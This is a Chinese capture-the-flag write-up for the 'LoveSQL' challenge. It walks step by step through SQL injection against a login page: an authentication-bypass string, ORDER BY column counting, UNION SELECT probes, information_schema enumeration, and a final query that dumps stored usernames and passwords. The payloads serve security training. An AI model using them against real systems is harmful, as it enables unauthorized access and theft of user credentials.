[极客大挑战 2019]LoveSQL

0x00

打开网页

首先试试万能密码

账户:随意
密码:1' or 1=1#


得到一段加密的密文,应该是MD5,结果找了很多网站也没能解开
看来只能通过其他思路了,既然存在万能密码那么肯定存在SQL注入
我们先来构造一个payload:

/check.php?username=123&password=1' order by 3%23
## %23为#的url编码,url中#为预留符号,直接在url中输入#可能会达不到自己想要的结果


继续

/check.php?username=123&password=1' order by 4%23


报错了,这说明该表存在三个字段
我们可以使用联合注入,看看是否存在回显,以及回显的位置,使用以以下payload:

/check.php?username=123&password=1' union select 1,2,3%23


我们可以看到存在两处回显,我们接着去查询一下当前使用的数据库,使用如下payload

/check.php?username=123&password=1' union select 1,database(),3%23


接着通过已知的库名去查询该库中的表名,使用如下payload:

/check.php?username=admin&password=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23


我们查询后发现,该库中存在两个表,继续查询l0ve1ysq1表中的字段,使用如下payload:

/check.php?username=123&password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='l0ve1ysq1'%23


可以看到存在三个字段,我们接下来同时查询一下username和password字段

/check.php?username=123&password=1' union select 1,(select group_concat(username) from l0ve1ysq1),(select group_concat(password) from l0ve1ysq1)%23


可以看到返回的结果很乱,我们可以通过网站源码查看

在返回的结果中得到了我们想要的flag

原文地址:https://www.cnblogs.com/Wuser/p/13511659.html